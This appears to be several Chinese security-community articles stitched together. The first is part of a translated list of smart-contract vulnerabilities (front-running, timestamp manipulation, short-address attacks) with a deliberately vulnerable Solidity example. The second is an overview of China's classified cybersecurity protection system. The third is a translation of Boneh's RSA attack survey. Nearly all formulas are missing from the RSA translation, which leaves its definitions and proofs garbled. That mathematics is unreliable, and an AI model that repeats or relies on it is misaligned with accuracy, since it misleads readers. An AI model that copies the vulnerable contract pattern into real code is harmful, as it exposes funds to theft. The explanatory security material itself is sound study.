> <https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-> contracts-e5358c6b8620>
>
> 在以太坊随机
> <https://blog.otlw.co/random-in-ethereum-50eefd09d33e>
* * *
##
## 7.前台运行
也被称为检查时间与使用时间（TOCTOU），竞争条件，事务顺序依赖性（TOD）
> 事实证明，只需要150行左右的Python就可以获得一个正常运行的算法。————Ivan Bogatyy
* 由于矿工总是通过代表外部拥有地址（EOA）的代码获得gas费用
* 因此用户可以指定更高的费用以便更快地开展交易。
* 由于以太坊区块链是公开的，每个人都可以看到其他人未决交易的内容。
* 这意味着，如果某个用户正在揭示拼图或其他有价值的秘密的解决方案，恶意用户可以窃取解决方案并以较高的费用复制其交易，以抢占原始解决方案。
* 如果智能合约的开发者不小心，这种情况会导致实际的和毁灭性的前端攻击。
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%9C%9F%E5%AE%9E%E4%B8%96%E7%95%8C%E5%BD%B1%E5%93%8D)真实世界影响
> Bancor
> <https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-> ethereum-api-d5e2bfd0d798>
>
> ERC-20
>
> <https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-> RLM/>
>
> TheRun
> <https://www.dasp.co/>
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%A4%BA%E4%BE%8B)示例
1. 一个聪明的合约发布的RSA号（N = prime1 x prime2）。
2. 对其submitSolution()公共功能的调用与权利prime1并prime2奖励来电者。
3. Alice成功地将RSA编号考虑在内，并提交解决方案。
4. 有人在网络上看到Alice的交易（包含解决方案）等待被开采，并以较高的gas价格提交。
5. 由于支付更高的费用，第二笔交易首先被矿工收回。该攻击者赢得奖金。
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%85%B6%E4%BB%96%E8%B5%84%E6%BA%90)其他资源
> 在以太坊智能合约中预测随机数
> <https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-> contracts-e5358c6b8620>
>
> 虚拟和解的前卫，悲痛和危险
> <https://blog.0xproject.com/front-running-griefing-and-the-perils-of-> virtual-settlement-part-1-8554ab283e97>
>
> Frontrunning Bancor
> <https://www.youtube.com/watch?v=RL2nE3huNiI>
* * *
##
## 8.时间操纵
也被称为时间戳依赖
> 如果一位矿工持有合约的股份，他可以通过为他正在挖掘的矿区选择合适的时间戳来获得优势。———-Nicola Atzei，Massimo
> Bartoletti和Tiziana Cimoli
* 从锁定令牌销售到在特定时间为游戏解锁资金，合约有时需要依赖当前时间。
* 这通常通过Solidity中的block.timestamp别名或其别名完成now。
* 但是，这个价值从哪里来？来自矿工！
* 由于交易的矿工在报告采矿发生的时间方面具有回旋余地
* 所以良好的智能合约将避免强烈依赖所宣传的时间。
* 请注意，block.timestamp有时（错误）也会在随机数的生成中使用，如＃6所述。坏随机性。
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%9C%9F%E5%AE%9E%E4%B8%96%E7%95%8C%E5%BD%B1%E5%93%8D)真实世界影响
> 政府
> <http://blockchain.unica.it/projects/ethereum-> survey/attacks.html#governmental>
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%A4%BA%E4%BE%8B)示例
1. 一场比赛在今天午夜付出了第一名球员。
2. 恶意的矿工包括他或她试图赢得比赛并将时间戳设置为午夜。
3. 在午夜之前，矿工最终挖掘该块。当前的实时时间“足够接近”到午夜（当前为该块设置的时间戳），网络上的其他节点决定接受该块。
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E4%BB%A3%E7%A0%81%E7%A4%BA%E4%BE%8B)代码示例
以下功能只接受特定日期之后的呼叫。由于矿工可以影响他们区块的时间戳（在一定程度上），他们可以尝试挖掘一个包含他们交易的区块，并在未来设定一个区块时间戳。如果足够接近，它将在网络上被接受，交易将在任何其他玩家试图赢得比赛之前给予矿工以太：
function play() public {
require(now > 1521763200 && neverPlayed == true);
neverPlayed = false;
msg.sender.transfer(1500 ether);
}
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%85%B6%E4%BB%96%E8%B5%84%E6%BA%90)其他资源
> 对以太坊智能合约的攻击调查
> <https://eprint.iacr.org/2016/1007>
>
> 在以太坊智能合约中预测随机数
> <https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-> contracts-e5358c6b8620>
>
> 让智能合约变得更聪明
> <https://blog.acolyer.org/2017/02/23/making-smart-contracts-smarter/>
* * *
##
## 9.短地址攻击
也被称为或涉及非连锁问题，客户端漏洞
> 为令牌传输准备数据的服务假定用户将输入20字节长的地址，但实际上并未检查地址的长度。—-PawełBylica
* 短地址攻击是EVM本身接受不正确填充参数的副作用。
* 攻击者可以通过使用专门制作的地址来利用这一点，使编码错误的客户端在将它们包含在事务中之前不正确地对参数进行编码。
* 这是EVM问题还是客户问题？是否应该在智能合约中修复？
* 尽管每个人都有不同的观点，但事实是，这个问题可能会直接影响很多以太网。
* 虽然这个漏洞还没有被大规模利用，但它很好地证明了客户和以太坊区块链之间的交互带来的问题。
* 其他脱链问题存在：重要的是以太坊生态系统对特定的javascript前端，浏览器插件和公共节点的深度信任。
* 臭名昭着的链外利用被用于Coindash ICO的黑客在他们的网页上修改了公司的以太坊地址，诱骗参与者将ethers发送到攻击者的地址。
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%8F%91%E7%8E%B0%E6%97%B6%E9%97%B4%E8%A1%A8)发现时间表
* 2017/4/6————如何通过阅读区块链来找到1000万美元
* <https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95>
###
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%9C%9F%E5%AE%9E%E4%B8%96%E7%95%8C%E5%BD%B1%E5%93%8D)真实世界影响
> 未知交换（s）
> <https://blog.golemproject.net/how-to-find-10m-by-just-reading-> blockchain-6ae9d39fcd95>
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E7%A4%BA%E4%BE%8B)示例
1. 交易所API具有交易功能，可以接收收件人地址和金额。
2. 然后，API transfer(address _to, uint256 _amount)使用填充参数与智能合约函数进行交互：它将12位零字节的地址（预期的20字节长度）预先设置为32字节长
3. Bob（0x3bdde1e9fbaef2579dd63e2abbf0be445ab93f00）要求Alice转让他20个代币。他恶意地将她的地址截断以消除尾随的零。
4. Alice使用交换API和Bob（0x3bdde1e9fbaef2579dd63e2abbf0be445ab93f）的较短的19字节地址。
5. API用12个零字节填充地址，使其成为31个字节而不是32个字节。有效地窃取以下_amount参数中的一个字节。
6. 最终，执行智能合约代码的EVM将会注意到数据未被正确填充，并会在_amount参数末尾添加丢失的字节。有效地传输256倍以上的令牌。
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%85%B6%E4%BB%96%E8%B5%84%E6%BA%90)其他资源
> ERC20短地址攻击说明
> <http://vessenes.com/the-erc20-short-address-attack-explained/>
>
> 分析ERC20短地址攻击
> <https://ericrafaloff.com/analyzing-the-erc20-short-address-attack/>
>
> 智能合约短地址攻击缓解失败
> <https://blog.coinfabrik.com/smart-contract-short-address-attack-mitigation-> failure/>
>
> 从标记中删除短地址攻击检查
> <https://github.com/OpenZeppelin/zeppelin-solidity/issues/261>
* * *
##
## 10.未知的未知物
> 我们相信更多的安全审计或更多的测试将没有什么区别。主要问题是评审人员不知道要寻找什么。———Christoph Jentzsch
* 以太坊仍处于起步阶段。
* 用于开发智能合约的主要语言Solidity尚未达到稳定版本
* 而生态系统的工具仍处于试验阶段。
* 一些最具破坏性的智能合约漏洞使每个人都感到惊讶
* 并且没有理由相信不会有另一个同样出乎意料或同样具有破坏性的漏洞。
* 只要投资者决定将大量资金用于复杂而轻微审计的代码
* 我们将继续看到新发现导致可怕后果。
* 正式验证智能合约的方法尚不成熟，但它们似乎具有很好的前景，可以作为摆脱今天不稳定现状的方式。
* 随着新类型的漏洞不断被发现，开发人员需要继续努力
* 并且需要开发新工具来在坏人之前找到它们。
* 这个Top10可能会迅速发展，直到智能合约开发达到稳定和成熟的状态。
* * *
##
[](/myblog/%E5%8C%BA%E5%9D%97%E9%93%BE/dasptop10.html#%E5%8E%9F%E6%96%87%E5%9C%B0%E5%9D%80) | 社区文章 |
# 信息安全等级保护概述
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
《中华人民共和国的网络安全法》是为了保障网络安全，维护网络空间主权和国家安全，社会公共利益，保护公民法人和其他组织的合法权益，促进经济社会信息化健康发展，制定由全国人民代表大会常务委员会于2016年11月7日发布，在2017年6月正式实施。
> 网络安全法与等级保护的关系 网络安全法与等级保护的制度已经从基本制度到基本国策上升为法律。 网络安全法中的第二章第二十一条国家实行网络安全等级保护制度，
> （网络安全法中明确要求，各个行业做等级保护。公安部门可以依据网络安全法中的这项要求进行执法，比如说罚款警告行政处分等等。）
网络运营者应当按照网络安全等级保护制度的要求，履行下列安全保护义务，保障网络免受干扰、破坏或者未经授权的访问，为防止网络数据泄露或者被窃取，窜改：
（一）制定内部安全管理制度和操作规程，确定网络安全负责人，落实网络安全保护责任；
（谁运营谁负责，谁主管谁负责）
（二）采取防范计算机病毒和网络攻击、网络入侵等危害网络安全行为的技术措施；
（安全防护设备和安全服务都要跟上）
（三）采取监测、记录网络运行状态、网络安全事件的技术措施，并按照规定留存相关的网络日志，不少于六个月；
（防止网络入侵或者一些攻击事件能够进行回溯调查取证）
（四）采取数据分类、重要数据备份和加密等措施；
（五）法律、行政法规规定的其他义务。
## 为什么要实行等级保护
### 信息安全形势严峻
1、敌对势力的入侵攻击，破坏。
下图是2017年和2018年的勒索病毒事件，是敌对势力针对我们中国的入侵攻击和破坏，使用了好多种加密算法，把我们操作系统上的word、excel、pdf文件等重要数据进行加密。加密后攻击者会找被害者索要一个比特币，就算攻击者受害者向攻击者支付了比特币，也不一定能对这个病毒进行解密，形成了一个诈骗行为。
2、针对基础信息网络和重要信息系统的违法犯罪持续上升
通过有关部门的一些数据显示我国现在的违法犯罪比较多的是电信诈骗，主要是诈骗钱财，针对一些老年人、在校学生，比如徐玉玉事件，就属于一个典型的诈骗事件。
3、基础信息网络和重要信息系统安全隐患严重
漏洞和反漏洞实际是闭环，漏洞出来后肯定会有安全厂商去修复这个漏洞、打补丁，当然还会出一些新的漏洞，信息系统的安全性保障属于一个循环性的体系。
### 维护国家安全的需要
1、基础信息网络和重要信息系统已成为国家观念基础性设施。
2、信息安全是国家安全的重要组成部分
3、信息安全是非传统安全，本质是信息对抗技术对抗。
等级保护标准体系
等级保护定级指南
等级保护基本要求
等级保护相关技术及产品
身份鉴别和自主访问控制
强制访问控制
安全审计
完整性和保密性保护
边界保护
资源控制
入侵防范和恶意代码防范
可信路径设置
系统防渗透措施
安全管控及应对方法
备份与恢复
密码技术应用
物理安全及应对方法
内容参考：安全牛课堂[《等级保护2.0标准解读》 ](https://www.aqniukt.com/my/course/8073?from=aqk) | 社区文章 |
**原文：[Twenty Years of Attacks on the RSA
Cryptosystem](https://www.ams.org/notices/199902/boneh.pdf)**
**作者：Dan Boneh@Stanford
University([[email protected]](mailto:[email protected]))**
**译者：Jing Ling@360ESG A-Team([[email protected]](mailto:[email protected]))**
### 1 介绍
由Ron Rivest，Adi Shamir和Len
Adleman发明的RSA密码系统首次在1977年8月的"科学美国人"杂志上发表（译者注：本文于1999年2月在美国数学学会的Notices杂志首次发布）。密码系统最常用于提供隐私保护和确保数字数据的真实性。目前，RSA部署在许多商业系统中。Web服务器和浏览器使用它来保护Web流量，它可以用于保障电子邮件的隐私和真实性，还可以用于保护远程登录会话，同时它也是电子信用卡支付系统的核心。简而言之，RSA常用于需要考虑数字数据安全性的应用中。
自最初发布以来，RSA系统已被许多研究人员分析认为是易受攻击的。尽管二十年的研究出了许多引人入胜的攻击，但其中没有一个攻击是毁灭性的。这些攻击主要说明了不当使用RSA的危险，可见安全地实施RSA确实也是一项非常重要的任务。我们的目标是使用基础数学的知识分析其中的一些攻击，在整个分析过程中，我们遵循标准命名约定，使用Alice和Bob表示希望彼此通信的两个正常通信方，使用Marvin来表示希望窃听或篡改Alice和Bob之间通信的恶意攻击者。
我们首先介绍一下RSA加密的简化版本。令是比特位长度相同(位)的两个大素数的乘积。常见的长度大小是=1024位（即：309个十进制数字），质因子=512位。令为满足的两个整数，其中是乘法群的阶数。我们称为RSA模数，为加密指数，为解密指数。为公钥。顾名思义，公钥是公开的，并用于加密消息。称为密钥或私钥，一般情况下只有加密消息的接收者知道，私钥能够解密密文。
消息是一个整数且满足，要加密，计算，要解密密文合法接受者计算。（译者注：下面是译者添加的的证明）
> 欧拉定理：若为正整数，且互素（即），则。
>
> 已知，，，，求证。
>
> 证明：
>
> 等式左边为
>
> 等式右边为
等式右边等于等式左边，证毕。
定义一个RSA函数，如果已知，很容易使用等式求出，我们称为求解函数的陷门。在本次课题研究在没有陷门的情况下求解RSA函数，更准确的说，给一个三元组，我们知道在不知道的因子想计算模的根是非常困难的。因为是有限集，因此可以枚举的所有元素直到找到。遗憾的是，这将导致算法具有阶的运行时间，即其输入大小的指数，其为的阶数。我们对运行时间更低的算法感兴趣，即的阶数（其中）或者是一些小的常数（比如说小于5）。实践表明这些算法通常在所讨论的输入情况表现良好，在整篇论文中，我们将此类算法称为高效算法。
此次课题我们主要研究RSA函数而不是RSA密码系统。笼统地说，随机输入上求解RSA函数的应该是非常困难的，也就是意味着给定攻击者无法计算出明文。这还不够，密码系统必须抵御更微妙的攻击。如果给出，想从中计算出任何信息应该是非常难的，这被称为语义安全。我们不讨论这些微妙的攻击，但是必须指出的是如上所述的RSA在语义上是不安全的：给定，可以容易地推导出关于明文的一些信息（例如，可以容易地从推导出上的的雅可比符号）。通过向加密过程添加随机处理流程，可以保障RSA在语义上的安全性。
RSA函数是一个单向陷门函数，正向它可以很容易地计算，但是（据我们所知）除非在特殊情况下，否则在没有陷门的情况下不能有效地反向求解的。单向陷门函数可用于数字签名，数字签名可以保障电子文件的真实性和不可否认性。例如，它们用于签署数字支票或电子采购订单。为了使用RSA对消息进行签名，Alice使用其私钥签名并获得签名。给定之后任何人都可以验证上的Alice签名通过。因为只有Alice可以生成，人们可能会认为攻击者无法伪造Alice的签名。然而事情并非如此简单，为了保障签名的安全还需要一些额外的措施。数字签名是RSA的重要应用，此次课题我们也会研究一些针对RSA数字签名的攻击。
RSA密钥对可以这样生成，选取两个随机位素数并将它们相乘以获得来生成。然后，对于给定的加密指数，使用扩展欧几里德算法计算。由于素数集是足够密集的，因此可以通过重复选择随机位整数并使用概率素性测试对每个素数进行素性测试来快速生成随机位素数。
#### 1.1 大数分解
给了RSA公钥，首先想到的攻击就是分解模数，给了的因子攻击者可以计算得到，从而也可以计算得到解密指数，我们称这种分解模数的方法为针对RSA的暴力攻击。虽然分解算法已经稳步改进，但是在正确使用RSA情况下，当前的技术水平仍远未对RSA的安全性构成威胁。大整数分解是计算数学之美，不过本文研究主题并不是大整数分解。为完整起见，我们顺便提一下，目前普通数字域筛法是效率最高的分解方法。分解位整数需要时间为其中，对RSA进行攻击的方法花费时间超过这个范围就那么吸引人了，比如暴力搜索方法，还有一些RSA发布不久后的旧方法。
我们的目的是研究在不直接分解RSA模数情况下解密消息的攻击方法，值得注意的是，一些RSA模数的稀疏集，可以很容易地被分解，举个例子，如果是乘积的质因子且小于，那么在小于时间内分解。
如上所述，如果存在有效的因式分解算法，则RSA是不安全的，反之亦然。这是一个由来已久的公开问题：必须要有一个的因子才能有效地计算模的根数？破解RSA和因式分解一样难吗？我们在下面提出了具体的开放性问题。
**开放性问题 1**
给定和满足，定义函数：，。是否有多项式时间算法来计算给定的因子以及对于某个求得的一个谕言？
的谕言用于评估在单位时间内任何输入的函数，最近Boneh和Venkatesan提供的证据表明，在比较小的情况下，上述问题的答案可能是否定的。换句话说，在比较小的情况下，可能不存在从分解到破解RSA的多项式时间缩减。他们通过实验表明在某个模型中对小的问题的肯定答案会产生一个有效的因式分解算法。我们注意到，对开放问题1的肯定回答会引起对RSA的"选择密文攻击"。因此，否定的回答可能才是大家喜闻乐见的。
接下来，我们证明公开私钥和分解是等价的。由此可见，对于知道的任何一方来说，隐藏的因式分解是没有意义的。
**事实1**
为RSA的公钥，给定私钥可以有效地分解模数。相反地，给定的因式分解，可以有效地算出私钥。
**证明**
的因式分解得到，因为已知的，那么可以算出，反之亦然。我们现在证明给定可以分解。给定，计算。根据和的定义我们知道是的倍数。由于是偶数，其中为奇数且。对于每个都有，因此是单位模的平方根。根据中国剩余定理，1有四个平方根模。其中两个平方根是，另外两个是，其中满足和。用这最后两个平方根中的任意一个，通过计算来揭示的因式分解。一个直截了当的论证表明，如果从中随机选择，那么序列中的一个元素，,...，是统一平方根的概率至少为1/2，从而揭示了的分解，序列中的所有元素可以在时间内有效地计算，其中。
### 2 基本攻击
我们首先描述一些老的基本攻击，这些攻击说明了RSA的公然滥用情况。虽然存在许多这样的攻击，但我们仅举两个例子。
#### 2.1 共模
为了避免为每个用户生成不同的模数，人们可能希望一劳永逸地固定使用一个，所有用户都使用相同的。可信的中央机构可以向用户提供唯一的一对，，用户从其中生成公钥和私钥。
乍一看，这似乎行得通：为Alice准备的密文无法由Bob解密，因为Bob不知道。但是，这是不正确的，由此产生的系统是不安全的。事实上，Bob可以使用他自己的指数，来分解。一旦被分解，Bob就可以从她的公钥中计算出Alice的私钥。Simmons的这一观察结果表明，RSA模不应被一个以上的实体使用。
#### 2.2 盲化
设是Bob的私钥，而是他相应的公钥。假设攻击者Marvin想要Bob在消息上签名。当然Bob不是傻瓜，他拒绝签署。但是Marvin可以尝试以下方法：他随机选择一个并设。然后他让Bob在随机消息上签名。Bob可能愿意在看上去没什么问题的上签名，但是回想一下，Marvin现在简单地计算就得到Bob在初始上的签名。
这种称为盲化的技术使Marvin能够在他选择的消息上获得有效的签名，方法是让Bob在随机的"盲化"消息上签名。Bob不知道他实际在签名的是什么消息。由于大多数签名方案在签名之前对消息应用"单向散列"算法，因此此种攻击倒不是一个严重的问题。尽管我们将盲化描述为一种攻击，但它实际上是实现匿名数字现金所需的一个有用属性(可以用来购买商品的现金，但不会透露购买者的身份)。
### 3 低私钥指数
为了减少加密时间（或签名生成时间），人们可能希望使用小值而不是随机。由于模幂运算需要花费线性时间为，所以小可以使性能提高至少10倍(对于1024位模数而言)。不幸的是，由M.Wiener发现的一种巧妙的攻击表明，一个小的会导致密码系统完全被攻破。
**定理2（M. Wiener）**
令且，，给定且满足，攻击者可以有效计算出。
**证明**
证明基于使用连分数的逼近，由于，那么存在一个满足。所以，
因此，是的逼近，尽管Marvin不知道，但是他可能会使用去近似。因为（译者注：），（译者注：因为，所以，所以），我们有。
使用替换，我们得到：
现在，，因为，我们知道（译者注：可以得到和）。因此我们得到：
这是一个经典的逼近关系，分数且在约束内非常逼近。实际上，所有类似这样的分数都是的连分数展开的收敛。因此我们首要做的便是计算的连分数的收敛，其中一个连分数就等于。因为，我们有，因此是一个最简分数。这是可以算出密钥的线性时间算法。
由于通常都是1024位，因此必须至少256位长才能避免这种攻击。这对于诸如"智能卡"之类的低功耗设备来说是不幸的，因为小就能节省大量能耗。
然而，并不是毫无办法。Wiener提出了许多能够实现快速解密并且不易受其攻击影响的技术：
**使用大** **：** 假设不是减小模，而是使用作为公钥，其中对于某些大有。
显然，可以代替用于消息加密，当使用大的值时，上述证明中的不再小。一个简单的计算表明，如果，那么无论多小，都无法实施上述攻击。然而，大的值将导致加密时间的增加。
**使用CRT：**
另一种方法是使用中国剩余定理（CRT）。假设选择使得和都很小，比如都是128位。则可以进行如下密文的快速解密：首先计算和。
然后使用CRT计算满足和的唯一值.
得到的满足等式。关键点在于虽然和很小，但是的值可以很大，大约在的数量级上。因此，定理2的攻击不再适用。我们注意到，如果给定了，则存在一种攻击能够使攻击者能够在时间内对进行因子分解。因此，和不能太小。
我们不知道这些方法中是否都安全。我们所知道的是，Wiener攻击对它们无效。最近由Boneh和Durfee改进的定理2证明了只要，攻击者就可以从中有效地算出。这些结果表明Wiener的界限并不固定。正确的界限可能是。截至撰写本文时，还是一个尚未解决的问题。
**开放性问题2**
令，，如果Marvin知道和及关系，他能有效算出吗？
### 4 低公钥指数
为了减少加密或签名验证时间，通常会使用一个小的公钥指数。的最小可能值为3，但为防止某些攻击，建议使用。当使用值时，签名验证需要17次乘法，而使用随机的时则需要大约1000次乘法。与上一节的攻击不同，当使用一个小时，针对的攻击不只是攻破而已。
#### 4.1 Coppersmith定理
针对RSA低公钥指数最有力的攻击基于Copper-smith的一个定理，Coppersmith定理有很多应用，这里我们只讨论其中的一些应用，证明使用LLL格基约化算法如下。
**定理3（Coppersmith）**
令为一个整数，是次的一元多项式，设其中，在给定之后Marvin能够有效找到所有满足的整数，运行时间由在维数且的格上运行LLL算法所需的时间决定。
该定理为有效地求模的所有小于的根提供了一种算法，当越小，算法的运行时间越短。这个定理的强大之处在于它能够找到多项式的小根。当模数为素数时，就目前而言，找不到比使用Coppersmith定理更好的求根算法了，没有理由不使用Coppersmith定理。
我们概述了Coppersmith定理证明背后的主要思想，我们采用由Howgrave-Graham提出的简化方法，给定一个多项式，定义，证明依赖于下面的观察。
**引理4**
令为次多项式，为正整数，假设，如果满足，那么成立。
**证明** 从Schwarz不等式观察到：
因为,我们得出结论。
引理指出，如果是一个低范数多项式，则的所有小根也是在整数上的根。引理表明，要找到的一个小根，我们需要寻找另一个与模有相同根的低范数多项式，这样就能容易找到在整数上的根。为此，我们可以寻找一个多项式，使得具有低范数，即范数小于。这相当于寻找具有低范数多项式的整数线性组合。不过，大多数情况下，并不存在具有足够小的范数的非平凡线性组合。
Coppersmith找到了解决这个问题的窍门：如果成立，那么对于任意则有。更一般地，定义以下多项式：
对于一些预定义的，则是模的一个根，其中和。要使用引理4，我们必须找到多项式的一个整数线性组合，使得的范数小于
(回想一下是满足的上界)。由于范数（是而不是）的松弛上界，我们可以证明，对于足够大的，总是存在一个线性组合满足所要求的界。一旦被找到，引理4就意味着它有作为整数的根,因此,可以很容易地找到。
如何有效地找到还有待证明，要做到这一点，我们必须说明一些关于格的基本事实。
设是线性独立的向量。由构成的(满秩)格是的所有整数线性组合的集合。的行列式定义为方阵的行列式，它的行列式是向量。
在我们的例子中，我们把多项式看作向量，并研究了它们所构成的格。设，，则格的维数。例如，当是二次一元多项式且时，得到的格由以下矩阵的行构成：
元对应于我们忽略其值的多项式的系数，所有空元为零。由于矩阵是三角形的，它的行列式是对角线上元素的乘积(如上所示)，我们的目标是在这个格中找到短向量。
Hermite的一个经典结论表明：任意维数为的格包含一个非零向量，它的范数满足，其中是只依赖于的常数。Hermite的界可以用来证明，对于足够大的，我们的格包含需求小于的范数向量。问题是我们能否有效地在中构造长度小于Hermite界的短向量。LLL算法是一种有效的算法，恰好可以做到。
**事实5（LLL）**
设是由所构成的格。当作为输入时，LLL算法输出一个向量满足：
LLL算法的运行时间是输入长度的四分之一。
LLL算法（以其发明者L. Lovasz、A. Lenstra和H. Lenstra
Jr的名字命名）在计算数论和密码学中有许多应用。它在1982年的发现为整数上多项式的因式分解提供了一种有效的算法，更广泛地说，为数环上的多项式的因式分解提供了一种有效的算法。LLL算法经常被用来攻击各种密码系统，例如，许多基于"背包问题"的密码系统都是使用LLL算法破解的。
利用LLL算法，我们可以完成Coppersmith定理的证明。为了保证LLL算法产生的向量满足引理4的界，我们需要满足：
其中是的维数。常规计算表明，对于足够大的，能满足约束条件。实际上，当时，取和就足够了。因此，运行时间主要由在维数为的格上运行LLL算法所决定。
一个自然而然的问题，Coppersmith定理能否应用于二元和多元多项式。如果有根且有适当的界，Marvin能有效地找到吗？尽管相同的技术似乎适用于某些二元多项式，但目前还是一个有待证明的开放性问题。随着越来越多的结果依赖于Coppersmith定理的二元扩张，所以严密的算法将会非常有用。
**开放性问题3**
找出Coppersmith定理可以推广到二元多项式的一般条件。
#### 4.2 Hastad广播攻击
作为Coppersmith定理第一个应用，我们对由Hastad提出的旧攻击进行了改进。假设Bob希望将加密消息发送给多方。每一方都有自己的RSA密钥。我们假定比所有都小。Bob为了发送，天真地使用每个公共密钥对其进行加密，并将第个密文发送给。攻击者Marvin可以窃听Bob对外的连接，并收集传输的个密文。
为了简单起见，假设所有公钥指数为3。一个简单的论证表明，当时，Marvin可以计算出。实际上，Marvin得到，其中：
对于所有的，我们可以假设，否则Marvin可以因式分解一些。因此，将中国剩余定理(CRT)应用于，给出的满足。由于小于所有的，我们有，那么在整数上成立，因此，Marvin可以通过计算的实数立方根来得到。更一般的情况是，如果所有的公钥指数都等于，则只要，Marvin就可以计算出。不过这种攻击只有使用较小的值时才是可行的。
Hastad提出了一种更强的攻击方法。为了抵御Hastad的攻击，考虑一下对上述攻击做一下天真防御。Bob可能在加密之前"填充"消息，而不是广播加密的。例如，如果是位长的，Bob可以将发送给。由于Marvin获得了不同消息的加密，他无法发起攻击。然而，Hastad证明了这种线性填充是不安全的，事实上，他证明了在加密之前对消息应用任何固定多项式都不能阻止攻击。
假设对于每个参与者，Bob有一个固定的公用多项式。为了广播消息，Bob将的加密发送给。Marvin通过窃听知道了，其中。Hastad表明，如果有足够的参与方，Marvin可以从所有的密文中计算出明文。下面的定理是Hastad原始结论的一个更强的版本。
**定理6 (Hastad)** 设是成对的相对素数，集合。设是个次多项式。假设存在唯一的满足：
假设，给定，我们可以有效地找到的。
**证明**
令，我们假定所有的都是一元的。(实际上，对于某些，的首项系数在中是不可逆的，那么的因式分解就会显现出来。通过将每个乘以的适当幂，假定它们都有次。构造多项式：
其中是整数，被称为中国剩余系数。那么一定是一元的，因为它首项模了所有的，且次数为。此外，我们还知道。定理6现在便可由定理3推导而来，因为。
该定理表明，如果提供了足够多的方程，可以有效地求解以相对素数复合模的一元方程组。令，我们可以知道，当参与方数至少为时，Marvin可以从给定的密文中计算出，其中是在所有上的最大值。特别地，如果所有的都等于，并且Bob发送线性相关的消息，那么Marvin只要就可以算出明文。
Hastad的原始定理比上述定理更弱。与次多项式不同，Hastad定理需要次多项式。Hastad定理的证明类似于上一节中提到的Coppersmith定理证明。由于Hastad定理没有在格中使用的幂，从而得到了一个较弱的界。
总结这一节，我们注意到，要正确地防御上述广播攻击，必须使用随机填充方法，而不是使用固定填充方法。
#### 4.3 Franklin-Reiter相关消息攻击
当Bob用相同的模数发送与Alice相关的加密消息时，Franklin和Reiter发现了一种聪明的攻击。是爱丽丝的公钥，假设是两个不同的消息，对于某些已知的多项式，满足。为了将和发送给Alice，Bob可能会天真地对消息进行加密，并传输得到的密文。我们通过证明可以知道，在给定的情况下，Marvin可以很容易地计算出。虽然攻击对任意小都有效，但为了简化证明，我们给出了的引理。
**引理7(FR)**
令，为RSA公钥。设对于的线性多项式满足。然后，给定，Marvin可以在的平方时间内计算出。
**证明**
为了保证这部分证明的一般性，我们使用任意来表示它（而不是限制为）。由于，我们知道是多项式的根。同样，也是的根。线性因子是两个多项式的除法。因此，Marvin可以使用欧几里德算法来计算和的最大公约数(Greatest
Common Divisor, GCD)。如果GCD是线性的，则可以找到。GCD可以在和的平方时间内算出。
我们证明了当时，GCD一定是线性的。多项式因子将和都模成一个线性因子和一个不可约二次因子(因为，所以在中只有一个根)。因为不能整除，所以GCD一定是线性的。对于情况，GCD几乎总是线性的。然而，对于一些罕见的和，有可能得到一个非线性的GCD，在这种情况下攻击会失败。
对于情况，攻击所需时间是的平方时间。因此，只有在使用小的公钥指数时才能应用这种攻击。对于大型电子计算机来说，计算GCD的工作令人望而却步。一个有趣的问题(尽管可能很难)，为任意的设计这样的攻击，尤其是能否在的多项式时间中找到上述和的GCD？
#### 4.4 Coppersmith短填充攻击
Franklin-Reiter的攻击可能看起来有点人为。毕竟，为什么Bob要给Alice发送相关消息的加密呢？Coppersmith加强了攻击，并证明了一个关于填充攻击的重要的结论。
随机填充算法可以通过将一些随机位附加到其中一个端来填充明文，但是以下攻击指出了这种简单填充的危险。假设Bob向Alice发送了正确填充的加密。攻击者Marvin拦截密文并阻止其到达目的地。Bob注意到Alice没有回复他的消息，并决定将重新发送给Alice。他随机填充并传输生成的密文。Marvin现在有两个密文，对应于使用两种不同随机填充对同一消息的两次加密。以下定理表明，虽然他不知道使用的填充算法，但Marvin仍能够算出明文。
**定理8**
设为RSA公钥，其中的长度为是位。令集合。设是长度最长为位的消息。定义和，其中和是分别为的整数。如果Marvin知道了和的加密(但不知道或)，则他可以有效地计算出M。
**证明**
定义和，我们知道当时，这些多项式有相同的根。换句话说，是结式的根。的次数最多是。此外有，因此是模的一个小根，而Marvin可以利用Coppersmith定理（定理3）有效地求出这个根。一旦已知，便可以使用上一节的Franklin-Reiter攻击算出，从而得到。
当时，只要填充长度小于消息长度的，就可以进行攻击。这是一个重要的结论。注意，对于建议值，对于标准的模数大小来说，这种攻击是无用的。
#### 4.5 部分密钥泄露攻击
设为RSA私钥，假设Marvin通过某种方式知道了的一部分，比如说四分之一。他能得到剩下的部分吗？当相应的公钥指数很小时，答案是肯定的，令人惊讶吧。最近，Boneh，Durfee和Frankel证明了只要，就有可能从它的一小部分位算出的所有部分。可见结论说明了保护整个RSA私钥的重要性。
**定理9 (BDF)**
设为RSA私钥，其中长度为位.。给定的最小有效位，Marvin可以在的线性时间算出。
证明依赖于另一个完美精妙的Coppersmith定理。
**定理10 (Coppersmith)**
设是一个位RSA模。然后，给定的最小有效位或的最有效位，可以有效地将分解。
定理9很容易从定理10推理出来，事实上，根据和的定义，存在一个整数，使得：
由于，我们必有。对方程模进行约化，设，得到：
